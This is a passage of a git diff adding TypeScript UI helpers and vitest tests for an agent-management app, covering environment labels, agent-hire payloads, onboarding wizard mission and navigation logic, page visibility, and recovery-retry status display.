+      environmentDisplayLabel({ name: "Build box", driver: "ssh", metadata: {} }),
+    ).toBe("Build box · ssh");
+  });
+
   it("filters the local environment only under managed-sandbox-only", () => {
     const environments = [
       { driver: "local" as const },
diff --git a/ui/src/lib/managed-sandbox-environment.ts b/ui/src/lib/managed-sandbox-environment.ts
index c7233c9fa2f..e1681c274da 100644
--- a/ui/src/lib/managed-sandbox-environment.ts
+++ b/ui/src/lib/managed-sandbox-environment.ts
@@ -13,6 +13,20 @@ export function isPlatformManagedEnvironment(
   return environment?.metadata?.managedByPaperclip === true;
 }
 
+/**
+ * Display label for an environment in selectors and lists. Platform-managed
+ * rows render their name alone: their name is the product name for the
+ * default Paperclip environment, and the raw driver key ("sandbox") is
+ * infrastructure vocabulary we don't surface next to it. User-created rows
+ * keep the driver suffix so mixed lists (ssh vs sandbox) stay tellable apart.
+ */
+export function environmentDisplayLabel(
+  environment: Pick<Environment, "name" | "driver" | "metadata">,
+): string {
+  if (isPlatformManagedEnvironment(environment)) return environment.name;
+  return `${environment.name} · ${environment.driver}`;
+}
+
 /**
  * Client-side mirror of the server's managed-sandbox-only read filter: the
  * local environment never renders when `enableManagedSandboxOnly` is on.
diff --git a/ui/src/lib/new-agent-hire-payload.test.ts b/ui/src/lib/new-agent-hire-payload.test.ts
index 0cbf68f8b42..6463022315b 100644
--- a/ui/src/lib/new-agent-hire-payload.test.ts
+++ b/ui/src/lib/new-agent-hire-payload.test.ts
@@ -42,6 +42,32 @@ describe("buildNewAgentHirePayload", () => {
     });
   });
 
+  it("sends the apply-existing flag when the owner applies a stored Claude login", () => {
+    const payload = buildNewAgentHirePayload({
+      name: "Stored Claude",
+      effectiveRole: "general",
+      configValues: {
+        ...defaultCreateValues,
+        adapterType: "claude_local",
+        claudeApplyStoredLogin: true,
+      },
+      adapterConfig: {},
+    });
+    expect(payload).toMatchObject({ applyStoredClaudeLogin: true });
+    // Apply-existing carries no stored-session claim.
+    expect("storedSessionId" in payload).toBe(false);
+  });
+
+  it("omits the apply-existing flag when the owner does not apply a stored login", () => {
+    const payload = buildNewAgentHirePayload({
+      name: "Fresh Claude",
+      effectiveRole: "general",
+      configValues: { ...defaultCreateValues, adapterType: "claude_local" },
+      adapterConfig: {},
+    });
+    expect("applyStoredClaudeLogin" in payload).toBe(false);
+  });
+
   it("includes core trust preset permissions when provided", () => {
     expect(
       buildNewAgentHirePayload({
diff --git a/ui/src/lib/new-agent-hire-payload.ts b/ui/src/lib/new-agent-hire-payload.ts
index 6408cc8beef..e89e4d070e9 100644
--- a/ui/src/lib/new-agent-hire-payload.ts
+++ b/ui/src/lib/new-agent-hire-payload.ts
@@ -40,5 +40,15 @@ export function buildNewAgentHirePayload(input: {
     }),
     budgetMonthlyCents: 0,
     ...(permissions ? { permissions } : {}),
+    // The stored-session claim is not an agent column. The server derives the
+    // owner from the actor and consumes the claim to bind the fixed OAuth token.
+    // Send it only after a Claude subscription login reaches the `stored` state.
+    ...(configValues.claudeStoredSessionId
+      ? { storedSessionId: configValues.claudeStoredSessionId }
+      : {}),
+    // The apply-existing flag is not an agent column. The server binds the fixed
+    // OAuth token reference to the owner stored value with no login round trip.
+    // Send it only after the owner applies an existing stored login.
+    ...(configValues.claudeApplyStoredLogin ? { applyStoredClaudeLogin: true } : {}),
   };
 }
diff --git a/ui/src/lib/onboarding-agent-role.test.ts b/ui/src/lib/onboarding-agent-role.test.ts
new file mode 100644
index 00000000000..69f4d42880c
--- /dev/null
+++ b/ui/src/lib/onboarding-agent-role.test.ts
@@ -0,0 +1,38 @@
+import { describe, expect, it } from "vitest";
+import { AGENT_ROLE_LABELS } from "@paperclipai/shared";
+import { DEFAULT_AGENT_NAME, nextAgentNameForRole } from "./onboarding-agent-role";
+
+describe("nextAgentNameForRole", () => {
+  it("fills the name from the role when the field is empty", () => {
+    expect(nextAgentNameForRole({ currentName: "", nextRole: "cto" })).toBe(
+      AGENT_ROLE_LABELS.cto,
+    );
+  });
+
+  it("replaces the default name the wizard supplied", () => {
+    expect(nextAgentNameForRole({ currentName: DEFAULT_AGENT_NAME, nextRole: "designer" })).toBe(
+      AGENT_ROLE_LABELS.designer,
+    );
+  });
+
+  it("replaces a label left by a previous role", () => {
+    // Picking CTO then CMO should leave "CMO", not "CTO".
+    expect(nextAgentNameForRole({ currentName: AGENT_ROLE_LABELS.cto, nextRole: "cmo" })).toBe(
+      AGENT_ROLE_LABELS.cmo,
+    );
+  });
+
+  it("keeps a name the customer typed", () => {
+    // The failure this prevents is silent: the field still holds a plausible
+    // name afterwards, so the loss is invisible until the agent is hired.
+    expect(nextAgentNameForRole({ currentName: "Ada", nextRole: "engineer" })).toBe("Ada");
+  });
+
+  it("keeps a typed name that only differs by surrounding space", () => {
+    expect(nextAgentNameForRole({ currentName: "  Ada  ", nextRole: "engineer" })).toBe("  Ada  ");
+  });
+
+  it("treats a whitespace-only field as empty", () => {
+    expect(nextAgentNameForRole({ currentName: "   ", nextRole: "qa" })).toBe(AGENT_ROLE_LABELS.qa);
+  });
+});
diff --git a/ui/src/lib/onboarding-agent-role.ts b/ui/src/lib/onboarding-agent-role.ts
new file mode 100644
index 00000000000..7dfaea7a2d4
--- /dev/null
+++ b/ui/src/lib/onboarding-agent-role.ts
@@ -0,0 +1,37 @@
+import { AGENT_ROLE_LABELS, type AgentRole } from "@paperclipai/shared";
+
+/**
+ * The name the wizard offers before the customer picks a role. It is a job
+ * title rather than a role label because it reads as a person on the very
+ * first screen where the agent appears.
+ */
+export const DEFAULT_AGENT_NAME = "Chief of staff";
+
+/**
+ * Names the wizard put there itself, and may therefore replace. Anything the
+ * customer typed is theirs and survives a role change.
+ *
+ * The prototype's version of this step simply overwrote the name whenever the
+ * role changed, which is fine in a mock with no real input to lose. Here it
+ * would silently discard a name someone chose deliberately, and the loss is
+ * invisible: the field still has *a* plausible name in it afterwards.
+ */
+const WIZARD_SUPPLIED_NAMES: ReadonlySet<string> = new Set([
+  DEFAULT_AGENT_NAME,
+  ...Object.values(AGENT_ROLE_LABELS),
+]);
+
+/**
+ * The name to show after a role change — the new role's label when the field
+ * still holds something the wizard supplied, otherwise the customer's own text.
+ */
+export function nextAgentNameForRole(params: {
+  currentName: string;
+  nextRole: AgentRole;
+}): string {
+  const current = params.currentName.trim();
+  if (current === "" || WIZARD_SUPPLIED_NAMES.has(current)) {
+    return AGENT_ROLE_LABELS[params.nextRole];
+  }
+  return params.currentName;
+}
diff --git a/ui/src/lib/onboarding-goal.test.ts b/ui/src/lib/onboarding-goal.test.ts
index 5539faded11..6aaae01f7eb 100644
--- a/ui/src/lib/onboarding-goal.test.ts
+++ b/ui/src/lib/onboarding-goal.test.ts
@@ -1,5 +1,8 @@
 import { describe, expect, it } from "vitest";
-import { parseOnboardingGoalInput } from "./onboarding-goal";
+import {
+  formatOnboardingGoalInput,
+  parseOnboardingGoalInput,
+} from "./onboarding-goal";
 
 describe("parseOnboardingGoalInput", () => {
   it("uses a single-line goal as the title only", () => {
@@ -20,3 +23,31 @@ describe("parseOnboardingGoalInput", () => {
     });
   });
 });
+
+describe("formatOnboardingGoalInput", () => {
+  it("renders a title-only goal as a single line", () => {
+    expect(formatOnboardingGoalInput("Ship the MVP")).toBe("Ship the MVP");
+  });
+
+  it("renders a title and description as one editable block", () => {
+    expect(
+      formatOnboardingGoalInput("Ship the MVP", "Launch to 10 design partners"),
+    ).toBe("Ship the MVP\n\nLaunch to 10 design partners");
+  });
+
+  it("treats a null or blank description as absent", () => {
+    expect(formatOnboardingGoalInput("Ship the MVP", null)).toBe("Ship the MVP");
+    expect(formatOnboardingGoalInput("Ship the MVP", "   ")).toBe("Ship the MVP");
+  });
+
+  it("round-trips a parsed goal back to the same parse", () => {
+    const raw = "Ship the MVP\nLaunch to 10 design partners\nMeasure retention";
+    const parsed = parseOnboardingGoalInput(raw);
+
+    expect(
+      parseOnboardingGoalInput(
+        formatOnboardingGoalInput(parsed.title, parsed.description),
+      ),
+    ).toEqual(parsed);
+  });
+});
diff --git a/ui/src/lib/onboarding-goal.ts b/ui/src/lib/onboarding-goal.ts
index 56b93633faf..2154d617ea1 100644
--- a/ui/src/lib/onboarding-goal.ts
+++ b/ui/src/lib/onboarding-goal.ts
@@ -16,3 +16,23 @@ export function parseOnboardingGoalInput(raw: string): {
     description: description.length > 0 ? description : null,
   };
 }
+
+/**
+ * Inverse of {@link parseOnboardingGoalInput}: render a stored goal back into
+ * the single textarea the mission step edits.
+ *
+ * Used when the wizard is entered on a company that already has a mission, so
+ * the mission can be shown and re-saved instead of retyped from scratch.
+ */
+export function formatOnboardingGoalInput(
+  title: string,
+  description?: string | null,
+): string {
+  const trimmedTitle = title.trim();
+  const trimmedDescription = description?.trim() ?? "";
+
+  if (!trimmedTitle) return trimmedDescription;
+  if (!trimmedDescription) return trimmedTitle;
+
+  return `${trimmedTitle}\n\n${trimmedDescription}`;
+}
diff --git a/ui/src/lib/onboarding-mission.test.ts b/ui/src/lib/onboarding-mission.test.ts
new file mode 100644
index 00000000000..39b8db2621e
--- /dev/null
+++ b/ui/src/lib/onboarding-mission.test.ts
@@ -0,0 +1,132 @@
+import type { Goal } from "@paperclipai/shared";
+import { describe, expect, it } from "vitest";
+import { parseOnboardingGoalInput } from "./onboarding-goal";
+import {
+  isExistingCompanyMissionUnresolved,
+  selectExistingCompanyMission,
+} from "./onboarding-mission";
+
+function goal(overrides: Partial<Goal> & Pick<Goal, "id" | "title">): Goal {
+  return {
+    companyId: "company-1",
+    description: null,
+    level: "company",
+    status: "active",
+    parentId: null,
+    ownerAgentId: null,
+    createdAt: new Date("2026-03-02T00:00:00Z"),
+    updatedAt: new Date("2026-03-02T00:00:00Z"),
+    ...overrides,
+  };
+}
+
+describe("selectExistingCompanyMission", () => {
+  it("reads the company goal back into the mission textarea", () => {
+    expect(
+      selectExistingCompanyMission([
+        goal({ id: "goal-1", title: "Ship the cloud onboarding walk" }),
+      ]),
+    ).toEqual({
+      goalId: "goal-1",
+      goalInput: "Ship the cloud onboarding walk",
+    });
+  });
+
+  it("includes the goal description below the title", () => {
+    expect(
+      selectExistingCompanyMission([
+        goal({
+          id: "goal-1",
+          title: "Ship the cloud onboarding walk",
+          description: "End to end, across all four apps.",
+        }),
+      ]),
+    ).toEqual({
+      goalId: "goal-1",
+      goalInput:
+        "Ship the cloud onboarding walk\n\nEnd to end, across all four apps.",
+    });
+  });
+
+  it("round-trips through the mission textarea's own parser", () => {
+    const mission = selectExistingCompanyMission([
+      goal({
+        id: "goal-1",
+        title: "Ship the cloud onboarding walk",
+        description: "End to end, across all four apps.",
+      }),
+    ]);
+
+    expect(parseOnboardingGoalInput(mission.goalInput)).toEqual({
+      title: "Ship the cloud onboarding walk",
+      description: "End to end, across all four apps.",
+    });
+  });
+
+  it("reports no mission when the company has no company-level goal", () => {
+    expect(
+      selectExistingCompanyMission([
+        goal({ id: "team-goal", title: "Nested", level: "team" }),
+      ]),
+    ).toEqual({ goalId: null, goalInput: "" });
+  });
+
+  it("reports no mission for a company with no goals at all", () => {
+    expect(selectExistingCompanyMission([])).toEqual({
+      goalId: null,
+      goalInput: "",
+    });
+  });
+});
+
+describe("isExistingCompanyMissionUnresolved", () => {
+  it("holds the hire until the existing company's goals have been read", () => {
+    expect(
+      isExistingCompanyMissionUnresolved({
+        existingCompanyId: "company-1",
+        goalsLoaded: false,
+      }),
+    ).toBe(true);
+  });
+
+  it("releases the hire once they land", () => {
+    expect(
+      isExistingCompanyMissionUnresolved({
+        existingCompanyId: "company-1",
+        goalsLoaded: true,
+      }),
+    ).toBe(false);
+  });
+
+  it("holds the hire while a cached read is being superseded", () => {
+    expect(
+      isExistingCompanyMissionUnresolved({
+        existingCompanyId: "company-1",
+        goalsLoaded: true,
+        goalsFetching: true,
+      }),
+    ).toBe(true);
+  });
+
+  it("still ignores an in-flight read for a company created in this run", () => {
+    expect(
+      isExistingCompanyMissionUnresolved({
+        existingCompanyId: null,
+        goalsLoaded: false,
+        goalsFetching: true,
+      }),
+    ).toBe(false);
+  });
+
+  it("never holds a company created in this run — step 2 typed its mission", () => {
+    expect(
+      isExistingCompanyMissionUnresolved({
+        existingCompanyId: undefined,
+        goalsLoaded: false,
+      }),
+    ).toBe(false);
+    expect(
+      isExistingCompanyMissionUnresolved({ existingCompanyId: null, goalsLoaded: false }),
+    ).toBe(false);
+  });
+});
diff --git a/ui/src/lib/onboarding-mission.ts b/ui/src/lib/onboarding-mission.ts
new file mode 100644
index 00000000000..05d6694a429
--- /dev/null
+++ b/ui/src/lib/onboarding-mission.ts
@@ -0,0 +1,106 @@
+import type { Goal } from "@paperclipai/shared";
+
+import { formatOnboardingGoalInput, parseOnboardingGoalInput } from "./onboarding-goal";
+import { selectDefaultCompanyGoalId } from "./onboarding-launch";
+
+export type ExistingCompanyMission = {
+  goalId: string | null;
+  goalInput: string;
+};
+
+/**
+ * Read an existing company's mission back out of its goals, in the shape the
+ * wizard's mission textarea holds.
+ *
+ * The wizard can be entered on a company that already exists — the
+ * `/{prefix}/onboarding` route, the dashboard's auto-open, or an in-app "add
+ * agent" entry. On those paths steps 1 and 2 never run, so the mission has to
+ * come from the company rather than from the form. Two things downstream read
+ * it: the Review step's checklist, and the lead agent's instructions bundle.
+ */
+export function selectExistingCompanyMission(goals: Goal[]): ExistingCompanyMission {
+  const goalId = selectDefaultCompanyGoalId(goals);
+  if (!goalId) return { goalId: null, goalInput: "" };
+
+  const goal = goals.find((entry) => entry.id === goalId) ?? null;
+
+  return {
+    goalId,
+    goalInput: goal ? formatOnboardingGoalInput(goal.title, goal.description) : "",
+  };
+}
+
+/**
+ * Whether an existing company's mission has yet to be read back from the
+ * server.
+ *
+ * On an existing-company entry the mission is never typed — it is hydrated
+ * from the company's goals. Until that read lands, the wizard's mission field
+ * still holds whatever the last run saved, which may be empty or may belong to
+ * an entirely different company. Hiring the lead agent inside that window
+ * seeds its instructions from that field and reports nothing wrong, so the
+ * hire waits for the read.
+ *
+ * `fetching` counts as unresolved even when data is already present. Loaded
+ * goals can be a cached read from before the wizard opened, with the current
+ * request still in flight; they are at least the right company's, but not
+ * necessarily its current mission. This is the same distinction the draft
+ * ownership gate draws — `isFetching`, not `isLoading` — and for the same
+ * reason: retained data is not an answer to the question being asked now.
+ */
+export function isExistingCompanyMissionUnresolved(params: {
+  existingCompanyId?: string | null;
+  goalsLoaded: boolean;
+  goalsFetching?: boolean;
+}): boolean {
+  if (!params.existingCompanyId) return false;
+  if (params.goalsFetching) return true;
+
+  return !params.goalsLoaded;
+}
+export type MissionGoalPayload = {
+  title: string;
+  description?: string | null;
+  level?: "company";
+  status?: "active";
+};
+
+export type MissionPersistencePlan =
+  | { kind: "skip" }
+  | { kind: "create"; payload: MissionGoalPayload }
+  | { kind: "update"; goalId: string; payload: MissionGoalPayload };
+
+/**
+ * Decide what confirming the mission has to write.
+ *
+ * The wizard used to early-return whenever a company id was already present,
+ * so a mission typed on an existing company was silently discarded. An existing
+ * company still needs no `companies.create` — but its mission must land on the
+ * company-level goal, updating the goal the company already has rather than
+ * creating a second one.
+ */
+export function planMissionPersistence(params: {
+  goalInput: string;
+  existingGoalId: string | null;
+}): MissionPersistencePlan {
+  const parsed = parseOnboardingGoalInput(params.goalInput);
+  if (!parsed.title) return { kind: "skip" };
+
+  if (params.existingGoalId) {
+    return {
+      kind: "update",
+      goalId: params.existingGoalId,
+      payload: { title: parsed.title, description: parsed.description },
+    };
+  }
+
+  return {
+    kind: "create",
+    payload: {
+      title: parsed.title,
+      ...(parsed.description ? { description: parsed.description } : {}),
+      level: "company",
+      status: "active",
+    },
+  };
+}
diff --git a/ui/src/lib/onboarding-route.ts b/ui/src/lib/onboarding-route.ts
index db34e57939a..b27f3b702f2 100644
--- a/ui/src/lib/onboarding-route.ts
+++ b/ui/src/lib/onboarding-route.ts
@@ -135,6 +135,40 @@ export function shouldRouteAgentlessCompanyToOnboarding(params: {
   return !isOnboardingPath(params.pathname);
 }
 
+/**
+ * Whether the wizard's Back button is offered on the current step.
+ *
+ * A run never walks back behind the step it entered on: those steps either do
+ * not apply to it (an existing company is already named, and its mission is
+ * hydrated rather than asked for) or were completed elsewhere. Walking back
+ * into step 1 while holding a company is the sharpest case — that step creates
+ * a company, so it would make a second one.
+ */
+export function canGoBackFromOnboardingStep(params: {
+  currentStep: number;
+  entryStep: number;
+}): boolean {
+  return params.currentStep > 1 && params.currentStep > params.entryStep;
+}
+
+/**
+ * Whether a completed progress-bar segment can be clicked to jump back to it.
+ *
+ * Same bound as {@link canGoBackFromOnboardingStep}. The progress bar applies
+ * only the "already completed" half of the rule, which lets a run entered on
+ * an existing company jump to the name and mission steps the Back button
+ * deliberately withholds.
+ */
+export function canJumpToOnboardingStep(params: {
+  targetStep: number;
+  currentStep: number;
+  entryStep: number;
+}): boolean {
+  return (
+    params.targetStep < params.currentStep && params.targetStep >= params.entryStep
+  );
+}
+
 export function shouldRedirectCompanylessRouteToOnboarding(params: {
   pathname: string;
   hasCompanies: boolean;
diff --git a/ui/src/lib/page-visibility.test.ts b/ui/src/lib/page-visibility.test.ts
index 0abd9ce984e..8791aa17d76 100644
--- a/ui/src/lib/page-visibility.test.ts
+++ b/ui/src/lib/page-visibility.test.ts
@@ -3,6 +3,7 @@
 import { afterEach, describe, expect, it, vi } from "vitest";
 import {
   getPageVisibility,
+  getPageVisibilitySnapshot,
   getVisibilityHeaderValue,
   subscribePageVisibility,
 } from "./page-visibility";
@@ -40,6 +41,14 @@ describe("getPageVisibility", () => {
     setFocused(true);
     expect(getPageVisibility()).toEqual({ visible: true, focused: true });
   });
+
+  it("reconciles the snapshot before a hidden tab's first subscription", () => {
+    setVisibility("hidden");
+    expect(getPageVisibilitySnapshot()).toEqual({ visible: false, focused: false });
+
+    setVisibility("visible");
+    expect(getPageVisibilitySnapshot().visible).toBe(true);
+  });
 });
 
 describe("getVisibilityHeaderValue", () => {
diff --git a/ui/src/lib/page-visibility.ts b/ui/src/lib/page-visibility.ts
index d81beea6544..5e1b244d80a 100644
--- a/ui/src/lib/page-visibility.ts
+++ b/ui/src/lib/page-visibility.ts
@@ -89,6 +89,11 @@ export function subscribePageVisibility(listener: () => void): () => void {
 
 /** Snapshot for `useSyncExternalStore` — returns a referentially-stable object between changes. */
 export function getPageVisibilitySnapshot(): PageVisibility {
+  // Browser visibility can change before the first subscriber attaches (for
+  // example when a restored tab mounts while already hidden). Reconcile on
+  // every snapshot read so the initial render cannot briefly enable polling.
+  const next = getPageVisibility();
+  if (!sameState(next, cached)) cached = next;
   return cached;
 }
 
diff --git a/ui/src/lib/queryKeys.ts b/ui/src/lib/queryKeys.ts
index 9bfaee76a7f..b4680ed1899 100644
--- a/ui/src/lib/queryKeys.ts
+++ b/ui/src/lib/queryKeys.ts
@@ -1,6 +1,20 @@
 export const queryKeys = {
   companies: {
+    /**
+     * Prefix for everything company-shaped. Matches the list, details and stats
+     * below, so an `invalidateQueries` against it still reaches all of them.
+     * Not a cache entry of its own — the list lives under `list()`.
+     */
     all: ["companies"] as const,
+    /**
+     * The company list, scoped to the account it was fetched for. Which
+     * companies you belong to is an answer about *you*, and a single shared
+     * entry made it look like an answer about the app: for 30 seconds after an
+     * account change the previous account's list was served to anyone who
+     * asked. A different account is a different entry, so there is nothing to
+     * mistake. `null` is the signed-out/local_trusted key.
+     */
+    list: (userId: string | null) => ["companies", "list", userId ?? "anonymous"] as const,
     detail: (id: string) => ["companies", id] as const,
     stats: ["companies", "stats"] as const,
     exportFidelity: (companyId: string) => ["companies", companyId, "export-fidelity"] as const,
diff --git a/ui/src/lib/recovery-display.test.ts b/ui/src/lib/recovery-display.test.ts
index 63235714bce..3bc403dc3dc 100644
--- a/ui/src/lib/recovery-display.test.ts
+++ b/ui/src/lib/recovery-display.test.ts
@@ -4,6 +4,7 @@ import {
   deriveRecoveryDisplayState,
   recoveryChipLabel,
 } from "./recovery-display";
+import { readRecoveryRetryLineage } from "./recovery-lineage";
 
 describe("recoveryChipLabel", () => {
   it("returns the workspace-specific label when kind is workspace_validation and state is needed", () => {
@@ -18,6 +19,29 @@ describe("recoveryChipLabel", () => {
     expect(recoveryChipLabel("needed", "issue_graph_liveness")).toBe("Recovery needed");
   });
 
+  it("adds the attempt budget to an in-progress chip when a lineage is supplied", () => {
+    const lineage = readRecoveryRetryLineage({
+      wakePolicy: {
+        type: "bounded_owner_disposition_repair",
+        attempt: 2,
+        maxAttempts: 5,
+        retryAt: "2099-01-01T00:00:00.000Z",
+      },
+    });
+    expect(recoveryChipLabel("in_progress", "deliberate_wait_without_target", lineage)).toBe(
+      "Recovery in progress · 2/5",
+    );
+  });
+
+  it("keeps the plain label when no attempt has been spent yet", () => {
+    const lineage = readRecoveryRetryLineage({
+      wakePolicy: { type: "bounded_owner_disposition_repair", attempt: 0, maxAttempts: 5 },
+    });
+    expect(recoveryChipLabel("in_progress", "deliberate_wait_without_target", lineage)).toBe(
+      "Recovery in progress",
+    );
+  });
+
   it("does not override the chip label for non-needed states", () => {
     expect(recoveryChipLabel("in_progress", "workspace_validation")).toBe(
       "Recovery in progress",
@@ -46,4 +70,134 @@ describe("deriveRecoveryDisplayState", () => {
       deriveActiveRecoveryDisplayState({ ...base, kind: "workspace_validation" }),
     ).toBe("needed");
   });
+
+  const waitBase = { ...base, kind: "deliberate_wait_without_target" as const };
+
+  it("stays quiet while a bounded owner retry is stored", () => {
+    expect(
+      deriveRecoveryDisplayState({
+        ...waitBase,
+        wakePolicy: {
+          type: "bounded_owner_disposition_repair",
+          attempt: 2,
+          maxAttempts: 5,
+          retryAt: "2099-01-01T00:00:00.000Z",
+        },
+      }),
+    ).toBe("in_progress");
+  });
+
+  it("stays quiet while a bounded manager retry is stored", () => {
+    expect(
+      deriveRecoveryDisplayState({
+        ...waitBase,
+        wakePolicy: {
+          type: "bounded_recovery_owner",
+          attempt: 1,
+          maxAttempts: 3,
+          retryAt: "2099-01-01T00:00:00.000Z",
+          preservesSourceAssignee: true,
+        },
+      }),
+    ).toBe("in_progress");
+  });
+
+  it("warns when the lane is exhausted", () => {
+    expect(
+      deriveRecoveryDisplayState({
+        ...waitBase,
+        wakePolicy: {
+          type: "bounded_owner_disposition_repair",
+          attempt: 5,
+          maxAttempts: 5,
+          retryAt: "2099-01-01T00:00:00.000Z",
+        },
+      }),
+    ).toBe("needed");
+  });
+
+  it("warns when the stored retry time has already passed", () => {
+    // The PAP-17561 false healthy state: attempts remain, so the lane is not exhausted, but
+    // the attempt it promised came due and never ran. Nothing is moving this task.
+    expect(
+      deriveRecoveryDisplayState({
+        ...waitBase,
+        wakePolicy: {
+          type: "bounded_owner_disposition_repair",
+          attempt: 1,
+          maxAttempts: 5,
+          retryAt: "2020-01-01T00:00:00.000Z",
+          scheduledRunId: "run-2",
+        },
+      }),
+    ).toBe("needed");
+  });
+
+  it("stays quiet when a verified live run is executing the overdue attempt", () => {
+    expect(
+      deriveRecoveryDisplayState(
+        {
+          ...waitBase,
+          wakePolicy: {
+            type: "bounded_owner_disposition_repair",
+            attempt: 1,
+            maxAttempts: 5,
+            retryAt: "2020-01-01T00:00:00.000Z",
+            scheduledRunId: "run-2",
+          },
+        },
+        { scheduledRetry: { runId: "run-2", status: "running" } },
+      ),
+    ).toBe("in_progress");
+  });
+
+  it("still warns when the live run belongs to a different lane", () => {
+    expect(
+      deriveRecoveryDisplayState(
+        {
+          ...waitBase,
+          wakePolicy: {
+            type: "bounded_owner_disposition_repair",
+            attempt: 1,
+            maxAttempts: 5,
+            retryAt: "2020-01-01T00:00:00.000Z",
+            scheduledRunId: "run-2",
+          },
+        },
+        { scheduledRetry: { runId: "run-other", status: "running" } },
+      ),
+    ).toBe("needed");
+  });
+
+  it("warns when no next attempt is stored at all", () => {
+    expect(
+      deriveRecoveryDisplayState({
+        ...waitBase,
+        wakePolicy: { type: "bounded_owner_disposition_repair", attempt: 1, maxAttempts: 5 },
+      }),
+    ).toBe("needed");
+  });
+
+  it("keeps an escalated board action red even with a lineage", () => {
+    expect(
+      deriveRecoveryDisplayState({
+        ...waitBase,
+        status: "escalated",
+        wakePolicy: {
+          type: "board_escalation",
+          reason: "recovery_owner_retry_exhausted",
+          preservesSourceAssignee: true,
+        },
+      }),
+    ).toBe("escalated");
+  });
+
+  it("does not change kinds that carry no bounded lineage", () => {
+    expect(
+      deriveRecoveryDisplayState({ ...base, wakePolicy: { type: "wake_owner" } }),
+    ).toBe("needed");
+    expect(
+      deriveRecoveryDisplayState({ ...base, outcome: "delegated", wakePolicy: null }),
+    ).toBe("in_progress");
+  });
 });
diff --git a/ui/src/lib/recovery-display.ts b/ui/src/lib/recovery-display.ts
index b0f3a92a581..edf24d7afa3 100644
--- a/ui/src/lib/recovery-display.ts
+++ b/ui/src/lib/recovery-display.ts
@@ -1,5 +1,10 @@
 import type { IssueRecoveryAction, IssueRecoveryActionKind } from "@paperclipai/shared";
 import { Eye, OctagonAlert, RefreshCw, TriangleAlert } from "lucide-react";
+import {
+  readRecoveryRetryLineage,
+  type RecoveryLivenessContext,
+  type RecoveryRetryLineage,
+} from "./recovery-lineage";
 
 export type RecoveryDisplayState =
   | "needed"
@@ -38,30 +43,64 @@ export const RECOVERY_CHIP_DEFAULT_TONE: Record<
   },
 };
 
+/**
+ * Every surface derives its recovery tone from this one function, so a source issue and
+ * the parent views that list it as a blocker never disagree about whether recovery is
+ * quietly running or actually needs a human.
+ */
+export type RecoveryDisplayInput = Pick<IssueRecoveryAction, "status" | "kind" | "outcome"> &
+  Partial<
+    Pick<IssueRecoveryAction, "wakePolicy" | "evidence" | "attemptCount" | "maxAttempts" | "timeoutAt">
+  >;
+
 export function deriveRecoveryDisplayState(
-  action: Pick<IssueRecoveryAction, "status" | "kind" | "outcome">,
+  action: RecoveryDisplayInput,
+  context?: RecoveryLivenessContext,
 ): RecoveryDisplayState {
   if (action.status === "resolved") return "resolved";
   if (action.status === "escalated") return "escalated";
   if (action.status === "cancelled") return "resolved";
   if (action.kind === "active_run_watchdog") return "observe_only";
+  // A bounded retry lineage still holding a durable path is work the server will do on its
+  // own. Shouting "recovery needed" over it would ask a human to fix something nobody has to
+  // fix yet, so the calm tone is reserved for a lane with an attempt genuinely still coming.
+  // Once that attempt comes due unanswered, or the budget runs out, the warning is the honest
+  // state — nothing is going to move this task without someone stepping in.
+  const lineage = readRecoveryRetryLineage({
+    wakePolicy: action.wakePolicy ?? null,
+    evidence: action.evidence,
+    attemptCount: action.attemptCount,
+    maxAttempts: action.maxAttempts,
+    timeoutAt: action.timeoutAt,
+  }, context);
+  if (lineage && lineage.lane !== "board" && lineage.hasDurablePath) return "in_progress";
   if (action.outcome === "delegated") return "in_progress";
   return "needed";
 }
 
 export function deriveActiveRecoveryDisplayState(
-  action: Pick<IssueRecoveryAction, "status" | "kind" | "outcome">,
+  action: RecoveryDisplayInput,
+  context?: RecoveryLivenessContext,
 ): ActiveRecoveryDisplayState | null {
-  const state = deriveRecoveryDisplayState(action);
+  const state = deriveRecoveryDisplayState(action, context);
   return state === "resolved" ? null : state;
 }
 
 export function recoveryChipLabel(
   state: ActiveRecoveryDisplayState,
   kind: IssueRecoveryActionKind,
+  lineage?: RecoveryRetryLineage | null,
 ): string {
   if (kind === "workspace_validation" && state === "needed") {
     return "Workspace recovery needed";
   }
+  if (
+    state === "in_progress" &&
+    lineage &&
+    lineage.maxAttempts !== null &&
+    lineage.attempt > 0
+  ) {
+    return `Recovery in progress · ${Math.min(lineage.attempt, lineage.maxAttempts)}/${lineage.maxAttempts}`;
+  }
   return RECOVERY_CHIP_DEFAULT_TONE[state].label;
 }
diff --git a/ui/src/lib/recovery-lineage.test.ts b/ui/src/lib/recovery-lineage.test.ts
new file mode 100644
index 00000000000..9d1857c92a1
--- /dev/null
+++ b/ui/src/lib/recovery-lineage.test.ts
@@ -0,0 +1,415 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import {
+  formatRecoveryAttemptLabel,
+  formatRecoveryLineageSummary,
+  formatRecoveryRetryOffset,
+  readRecoveryRetryLineage,
+  type RecoveryLineageInput,
+} from "./recovery-lineage";
+
+const NOW = new Date("2026-08-18T12:00:00.000Z");
+
+function at(offsetMs: number) {
+  return new Date(NOW.getTime() + offsetMs).toISOString();
+}
+
+function sourceLaneAction(overrides: Partial<RecoveryLineageInput> = {}): RecoveryLineageInput {
+  return {
+    wakePolicy: {
+      type: "bounded_owner_disposition_repair",
+      retryAgentId: "agent-owner",
+      attempt: 2,
+      maxAttempts: 5,
+      baseBackoffMs: 60_000,
+      jitterMs: 3_000,
+      retryAt: at(3 * 60_000),
+      scheduledRunId: "run-2",
+    },
+    evidence: {},
+    attemptCount: 2,
+    maxAttempts: 5,
+    timeoutAt: at(3 * 60_000),
+    ...overrides,
+  };
+}
+
+function recoveryLaneAction(overrides: Partial<RecoveryLineageInput> = {}): RecoveryLineageInput {
+  return {
+    wakePolicy: {
+      type: "bounded_recovery_owner",
+      ownerAgentId: "agent-manager",
+      attempt: 1,
+      maxAttempts: 3,
+      retryAt: at(60_000),
+      scheduledRunId: "run-9",
+      preservesSourceAssignee: true,
+    },
+    evidence: { sourceAttemptCount: 5, sourceMaxAttempts: 5 },
+    attemptCount: 1,
+    maxAttempts: 3,
+    timeoutAt: at(60_000),
+    ...overrides,
+  };
+}
+
+// Liveness is a question about now, so every case pins the clock. Fixtures date their retry
+// times from NOW; left on the wall clock, a "future" retry silently becomes a past one and the
+// suite would assert the opposite of what it claims.
+beforeEach(() => {
+  vi.useFakeTimers();
+  vi.setSystemTime(NOW);
+});
+
+afterEach(() => {
+  vi.useRealTimers();
+});
+
+describe("readRecoveryRetryLineage", () => {
+  it("returns null when the action carries no bounded lineage", () => {
